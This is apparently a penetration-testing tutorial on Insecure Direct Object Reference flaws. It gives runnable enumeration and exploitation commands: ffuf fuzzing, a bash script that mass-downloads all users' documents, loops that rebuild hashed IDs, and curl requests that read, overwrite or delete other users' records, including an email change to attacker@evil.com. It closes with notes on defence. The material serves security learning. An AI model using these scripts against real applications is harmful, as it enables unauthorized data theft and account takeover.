Insecure Direct Object Reference (IDOR) is a broken access control vulnerability. The app references an object (user, document, order) by a predictable identifier and doesn’t verify whether the current user is authorized to access it. Change the identifier, access someone else’s data.

IDOR = Direct Object Reference + Improper Access Control

Object references aren’t vulnerable by themselves. The bug is skipping the authorization check.

The Classic Example

URL: http://target/users.php?uid=5

You’re logged in as user 5. Change the URL:

http://target/users.php?uid=1

If you see user 1’s data, the app has IDOR. The server returned another user’s object because the only check was “is the user logged in?” — not “does this user have permission to read uid=1?“.

Finding IDOR Candidates

Look for object references in:

  • URL parameters — ?uid=5, ?id=123, ?file=invoice_5.pdf
  • URL path segments — /profile/5, /orders/123
  • POST body parameters — user_id=5, account_id=123
  • HTTP headers — X-User-ID, custom app headers
  • JSON / XML fields — {"uid": 5, "account": 123}
  • Cookies — session data, preferences
  • Hidden form fields — <input type="hidden" name="uid" value="5">
  • Base64 / hex / hashed identifiers — may still be predictable (see below)

Enumeration Techniques

Sequential IDs — Brute Force

If IDs are numeric and sequential, just iterate:

# generate 1..100
for i in {1..100}; do echo $i; done > numbers.txt
 
# fuzz
ffuf -w numbers.txt -u http://target/users.php?uid=FUZZ -fs <baseline_size>

-fs <size> filters out the “not found” baseline response, leaving only the IDs that returned something different.

Pattern-Based Discovery

Documents often follow naming patterns:

/documents/Invoice_5_09_2021.pdf
/documents/Report_5_10_2021.pdf

Change the UID — get another user’s documents:

/documents/Invoice_6_09_2021.pdf

Mass Download Script

#!/bin/bash
url="http://target"
for i in {1..100}; do
    for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "/documents.*?\.pdf"); do
        wget -q "$url/$link"
    done
done

Loops through every user, extracts their document links, downloads each one.

Hashed / Encoded References

Modern apps sometimes use hashes to hide the underlying ID:

?contract=cdd96d3cc73d1dbdaffa03cc6cd7339b

That’s an MD5 hash — but of what? Try hashing numbers 1 through N and comparing:

for i in {1..100}; do
    echo "$i: $(echo -n $i | md5sum)"
done

If the hash of 1 matches the hash in a request, you’ve broken the scheme — now enumerate.

Base64 + Hash Combinations

Apps often nest encodings:

?file=ZmlsZV8xLnBkZg==         # base64 of file_1.pdf
?contract=cdd96d3cc73d1dbdaffa03cc6cd7339b   # MD5(base64(1))

Check the front-end JavaScript. Developers often expose the hashing function:

function downloadContract(uid) {
    $.redirect("/download.php", {
        contract: CryptoJS.MD5(btoa(uid)).toString(),
    }, "POST", "_self");
}

Replicate the function to generate hashes for arbitrary IDs:

for i in {1..10}; do
    echo -n $i | base64 -w 0 | md5sum | tr -d ' -'
done

Then POST each hash:

for i in {1..10}; do
    hash=$(echo -n $i | base64 -w 0 | md5sum | tr -d ' -')
    curl -sOJ -X POST -d "contract=$hash" http://target/download.php
done

AJAX Call Discovery

Modern apps expose admin functions in JavaScript — sometimes even when the UI hides them from normal users. Check page source for functions like:

function changeUserPassword() {
    $.ajax({
        url: "change_password.php",
        type: "POST",
        data: {
            uid: 100,
            password: "NewPass123"
        }
    });
}

A regular user may never see the Change Password button, but if the endpoint exists and lacks authorization, invoking it from a request works.

Comparing User Roles

Register two accounts (admin + normal user if possible, or two regular users). Capture equivalent requests from both. Compare:

  • What parameters change?
  • What stays the same?
  • What headers or cookies differ?

If an endpoint works for admin and doesn’t work for user, but you can trick it into accepting user credentials with admin parameters — that’s a horizontal or vertical privilege escalation via IDOR.

IDOR in APIs (REST)

RESTful URLs make IDOR especially visible:

GET  /api/users/5
PUT  /api/users/5           # updates user 5
DELETE /api/users/5         # deletes user 5

Try:

# read someone else
curl http://target/api/users/6 -H "Cookie: session=..."
 
# write to someone else
curl -X PUT http://target/api/users/6 -d '{"email":"attacker@evil.com"}' -H "Cookie: session=..."
 
# delete them
curl -X DELETE http://target/api/users/6 -H "Cookie: session=..."

Combined with HTTP Verb Tampering — if GET /api/users/6 is forbidden but PUT /api/users/6 isn’t, you can still modify.

Chaining IDOR with Other Bugs

  • IDOR + XSS — write XSS payload into another user’s about or bio field; it fires when they view their profile
  • IDOR + password reset — change another user’s email to one you control, then request a password reset for them
  • IDOR + HTTP Verb Tampering — bypass method restrictions to access operations the UI doesn’t expose
  • IDOR + stored data disclosure — enumerate users to find admin UUIDs, then target admin-specific endpoints

When IDOR Fails (True Secure Direct Object Reference)

If references are:

  • Random UUIDs generated server-side — not guessable, not derivable from any pattern
  • Checked against the current session on every request

…then IDOR isn’t exploitable. But:

  • UUIDs alone aren’t the fix — if access control is broken, replaying another user’s known UUID still works
  • References visible in URLs or logs can be grabbed via other means (XSS, log disclosure, session hijacking)

The real defense is server-side authorization on every request, not obfuscation of IDs.